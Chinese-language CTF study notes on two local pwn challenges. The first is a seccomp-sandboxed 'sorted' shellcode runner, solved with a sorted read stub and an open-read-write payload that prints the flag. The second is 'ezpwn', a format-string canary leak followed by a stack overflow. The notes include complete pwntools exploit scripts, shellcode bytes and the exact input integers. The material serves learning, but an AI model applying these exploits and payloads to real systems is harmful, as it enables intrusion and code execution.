题目文件: 本链接+./sorted ./ezpwn

总结下来就是基础太不牢固了,很多小点都不清楚,浪费时间,每次遇到后都要尽量及时解决,查缺补漏。

sorted

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+0h] [rbp-10h]
int j; // [rsp+4h] [rbp-Ch]
void *dest; // [rsp+8h] [rbp-8h]

sandbox();
puts("Just give you ten seconds before you DIE!");
dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
for ( i = 10; i > 0; --i )
{
printf("%d!\n", (unsigned int)i);
scanf("%d", &DIEnum[i]);
}
puts("Before you die,I must do something.");
std::sort<int *>(&unk_203044, &unk_20306C);
puts("let's see what'U have said");
for ( j = 1; j <= 10; ++j )
printf("%d\n", DIEnum[j]);
puts("Hahahahahaha!Now,taste the fear");
memcpy(dest, DIEnum, 0x100uLL);
((void (*)(void))dest)();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include<bits/stdc++.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<unistd.h>
#include <sys/mman.h>

int DIEnum[20];

void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}

int main(){
sandbox();
puts("Just give you ten seconds before you DIE!");
char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll);
for(int i=10;i>=1;--i){
printf("%d!\n",i);
scanf("%d",&DIEnum[i]);
}
puts("Before you die,I must do something.");
std::sort(DIEnum+1,DIEnum+11);
puts("let's see what'U have said");
for(int i=1;i<=10;++i){
printf("%d\n",DIEnum[i]);
}
puts("Hahahahahaha!Now,taste the fear");
memcpy(v1,DIEnum,0x100);
((void (*) (void)) v1)();
return 0;
}

题目分析

​ 打眼一看就发现是一个排序,但是由于自己对端续、有符号数、内存值等一些概念不清楚、晕乎了很常见。

​ 首先这道题并不是要找一个最小化的shellcode,直接拿shell(应该是可以绕过的把,),因为排序的因素,直接拿shell排序会比较难,不如先read进来,没限制了,再干其他的。

沙箱

​ 有沙箱保护 seccomp-tools dump ./rop

execve类似的还有吧 execveat

1
2
3
4
5
6
7
8
9
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

if (A >= 0x40000000) goto 0006 没有这个哦

https://www.anquanke.com/post/id/219077

image-20231028123924865

http://shell-storm.org/shellcode/files/shellcode-905.html

​ 这里有一个比较短的execveat的shellcode,但是,仍然比较难排序,因为指令太多了,而且有个长指令必须连起来

如果不绕过的话就 orw了

对 ((void (*)(void))dest)()的理解

dest怎么理解呢,(还好要到了原题,不然。。也可以自己再写一遍的。。都问题不大,多动手!)

​ 其实就是存放的shellcode的地址,然后当成函数,直接调用这个位置的指令,(就是函数指针)

​ ((void (*)(void))dest)() , 将dest转换为一个函数指针 ,函数不带参数,且无返回值

call rax, 然后就可以执行shellcode吗

​ rax里存放的是shellcode那里的起始地址,也就是将要执行的指令的地址,call会做两件事,一件是把当前的下一条指令压栈,另外一件是把rax指向的地址赋值给rip(类似于jmp)

思路

​ 长度还有限制,所以应该是先通过一个read片段,把后续代码读入mmap的空间(不会受排序影响),然后再跳转过去即可。

注意可以利用的信息,rdi存储着mmap的地址,可以利用

​ 这里有个细节,读入的地址不要和要执行的jmp重合, 很容易覆盖到jmp那里,影响指令,所以需要往后写,比如rdi+0x100

shellcode 排序

64位系统调用规则: rax是系统调用号,参数和函数的一样,rdi、rsi、rdx。。

00也会被解释的,所以需要补齐,用0x90 nop 0xfc cld这种指令,并且可以利用他们来调整顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
read(0,buf,0x100)


48 8b df mov rbx,rdi //把要写的地址传给rbx(因为rbx在其他地方用不到)
31 d2 xor edx,edx //为什么不是rdx呢
b6 01 mov dh,0x1 //一方面设置第三个参数 0x100,也就是read的大小,
48 01 d3 add rbx,rdx //另一方面可以让rbx+0x100,
31 C0 xor eax,eax //为什么不是rax, read系统调用号是0
31 ff xor edi,edi // 第一个参数0 ,标准输入
48 89 de mov rsi,rbx //第二个参数,buf地址
0f 05 syscall
ff e6 jmp rbx //跳转到后续shellcode地址


所以问什么不
48 89 fe mov rsi,rdi //把要写的地址传给rbx(因为rbx在其他地方用不到)
31 d2 xor edx,edx
b6 01 mov dh,0x1 //一方面设置rdx为0x100,也就是read的大小,
48 01 d6 add rsi,rdx //另一方面可以让rbx+0x100,
31 C0 xor eax,eax
31 ff xor edi,edi // 第一个参数0 ,标准输入
0f 05 syscall
ff e6 jmp rsi //跳转到后续shellcode地址


注意字节序是反的


0xfe8948
0xd231
0x01b6
0xd60148
0xc031
0xff31
0x050f
0xe6ff


排序有几个注意点
1.负数是自身绝对值越大, 数值越大吗。。(是的把,按位取反加1,看起来越大的值,补码越小,再加符号,越大,)(有空再看看。。
2.谁必须在谁前面 一个90,一个fc就可以保证了
3.syscall和jmp rsi必须在最后(fcfc就可以保证了,其他的最大fc90)


0x90fe8948
0x9090d231
0x90fc01b6
0xfcd60148
0xfc90c031
0xfc90ff31
0xfcfc050f
0xfcfce6ff
0x7fffffff
0x7fffffff


-1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647

同学的:

image-20231029143618124

写一个脚本辅助生成(其实就是模拟题目) 这里是不是可以用cap那个工具 显示指令(埋个坑吧)、以及连起来更多的,一键生成exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/mman.h>

int DIEnum[20];
int main()
{
puts("10");
char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll);
for (int i=0;i<=9;i++){
scanf("%x",&DIEnum[i]);
}
printf("未排序前结果:\n");
for (int i=0;i<=9;i++){
printf("%d\n",DIEnum[i]);
}
std::sort(DIEnum,DIEnum+10);
printf("排序后结果:\n");
for (int i=0;i<=9;i++){
printf("0x%-16x %d\n",DIEnum[i],DIEnum[i]);
}
printf("输入的值:\n");
for (int i=0;i<=9;i++){
printf("%d ",DIEnum[i]);
}

return 0;
}

二段shellcode

这里应该就随意了,生成一个orw的就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# 设置目标架构为x86-64
context.arch = 'amd64'
# 默认的是大端序,可以修改
context.endian = 'little'



shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read("rax","rsp",100)
shellcode += shellcraft.write(1,"rsp",100)

print(asm(shellcode))

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
# 设置目标架构为x86-64
context.arch = 'amd64'
# 默认的是大端序,可以修改
context.endian = 'little'

io = process('./sorted')

context(os='linux',log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)
io.sendline(b'-1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647')
#pause()
'''
sc_elf = ELF('b.out')
sc = sc_elf.get_section_by_name('.shellcode').data()
print(sc)
'''
sc = b'hflagH\x89\xe71\xd21\xf6j\x02X\x0f\x05\x89\xc71\xc0j ZH\x89\xe6\x0f\x05j\x01_j ZH\x89\xe6j\x01X\x0f\x05\xcc'
#pause()
shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read("rax","rsp",100)
shellcode += shellcraft.write(1,"rsp",100)
io.send(flat({
0: asm(shellcode),
0x100: [],
}))

io.interactive()

各种疑惑

问: 为什么-490631024 读入内存会成为 0xe2c19090

答: 负数会采用补码来存储

问: 为什么前期用python得到的数 输入进去奇奇怪怪

答:0xfcffffff scanf %d 读取的时候,会解释为负数,所以 不能用python里的直接数值转换来得到题目要输入的值(怪不得前期一直不对。。)

1
2
3
4
5
6
7
8
9
10
value = 0xfcffffff if 0xfcffffff < 0x80000000 else 0xfcffffff - 0x100000000
print(value)
这样就对了

或者
import struct

data = struct.pack("I", 0xfcffffff) # 将无符号整数打包为二进制数据
value = struct.unpack("i", data)[0] # 将二进制数据解析为有符号整数
print(value)

怎么比较好的在gdb中查看shellcode的汇编呢

display /20i $pc

https://blog.csdn.net/counsellor/article/details/100034080

https://amritabi0s.wordpress.com/2017/10/23/hack-lu-ctf-bit-writeup/

pwntools的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

# 设置目标架构为x86-64
context.arch = 'amd64'
# 默认的是大端序,可以修改
context.endian = 'little'

shellcode = shellcraft.sh() # 指令字符串
shellcodeasm = asm(shellcraft.sh()) # 二进制数据

# 使用 disasm 函数查看每一行汇编指令的十六进制值
disassembled = disasm(shellcodeasm)

# 分割每一行汇编指令
instructions = disassembled.split('\n')

# 打印每一行指令及其十六进制值
for instruction in instructions:
print(instruction)

# 打印整个shellcode的十六进制值
print(shellcodeasm.hex())



# 如何打印指定汇编指令的16进制值
assembly_code = "mov eax,0x123"
hex_assembly = asm(assembly_code)
hex_assembly_code = asm(assembly_code).hex()
hex_assembly_1 = disasm(hex_assembly)




print(f"汇编指令二进制表示: {hex_assembly}")
print(f"汇编指令的十六进制表示: {hex_assembly_code}")
print(f"汇编指令: {hex_assembly_1}")



## shellcraft的各种使用方法
shellcraft.read()

pwn asm汇编器

https://leeyuxun.github.io/pwntools%E6%A8%A1%E5%9D%97%E6%80%BB%E7%BB%93.html

https://zero-mk.github.io/2019/01/01/pwntools-Command%20Line%20Tools/

1
2
3
pwn asm "mov eax,0x1"
b801000000

ez_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("input your name");
fflush(_bss_start);
read(0, buf, 0x20uLL);
puts("hello: ");
fflush(_bss_start);
printf(buf);
puts("leave some message");
fflush(_bss_start);
read(0, buf, 0x48uLL);
return 0;
}

​ 主要是有个canary,把canary泄露出来就可以了,普通栈溢出,利用格式化字符串来泄露canary,注意前六个参数是在寄存器里的值呀。

​ 然后接收的时候注意先把hello:什么的接收了,

1
2
3
4
5
6
7
8
9
10
11
[DEBUG] Received 0x10 bytes:
b'input your name\n'
[DEBUG] Sent 0x6 bytes:
b'%11$p\n'
b'\n'
[DEBUG] Received 0x2e bytes:
b'hello: \n'
b'0x2535be38a9253e00\n'
b'leave some message\n'
b'hello: \n'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *


context(os='linux',log_level="debug")
p = process("ezpwn")

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

p.recvuntil("name")
#p.sendline(b"a"*32)
p.sendline(b"%11$p")
print(p.recvline())
print(p.recvline())
canary = int(p.recvline()[:-1],16)
print("canary:",hex(canary))
print("canary:",canary)
#pause()
p.recvuntil("message")
payload = b"a"*40 +p64(canary) + p64(0x123456) + p64(0x4012b0)+p64(0x4011d6)
#pause()
p.send(payload)
#pause()
p.recv(1024)
p.interactive()

关于格式化字符串传参:

传递10个参数看看

1
2
3
4
5
#include <stdio.h>
void main()
{
printf("1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n","1aaa","2bbb","3ccc","4ddd","5eee","6fff","7ggg","8hhh","9iii");
}

​ rdi、rsi、rdx、rcx、r8、r9

​ 可以看到前5个在寄存器,后面在栈里,从rsp开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*RAX  0x0
RBX 0x5555555551b0 (__libc_csu_init) ◂— endbr64
RCX 0x555555556012 ◂— 0x6262320063636333 /* '3ccc' */
RDX 0x555555556017 ◂— 0x6161310062626232 /* '2bbb' */
RDI 0x555555556028 ◂— '1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n'
RSI 0x55555555601c ◂— 0x61616131 /* '1aaa' */
R8 0x55555555600d ◂— 0x6363330064646434 /* '4ddd' */
R9 0x555555556008 ◂— 0x6464340065656535 /* '5eee' */
R10 0x3
R11 0x0
R12 0x555555555060 (_start) ◂— endbr64
R13 0x7fffffffe5a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe4b0 ◂— 0x0
RSP 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */
*RIP 0x5555555551a0 (main+87) ◂— call 0x555555555050



00:0000│ rsp 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */
01:00080x7fffffffe498 —▸ 0x555555556060 ◂— 0x6666360067676737 /* '7ggg' */
02:00100x7fffffffe4a0 —▸ 0x55555555605b ◂— 0x6767370068686838 /* '8hhh' */
03:00180x7fffffffe4a8 —▸ 0x555555556056 ◂— 0x6868380069696939 /* '9iii' */
04:0020│ rbp 0x7fffffffe4b0 ◂— 0x0
05:00280x7fffffffe4b8 —▸ 0x7ffff7de4083 (__libc_start_main+243) ◂— mov edi, eax
06:00300x7fffffffe4c0 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50f7a00000000
07:00380x7fffffffe4c8 —▸ 0x7fffffffe5a8 —▸ 0x7fffffffe7f4 ◂— '/home/ubuntu/c/a.out'

问题

类似的题

https://blog.csdn.net/tbsqigongzi/article/details/124371294

这个为什么进入ret了,但是失败了? ret栈平衡?

fflush(_bss_start);有什么用呢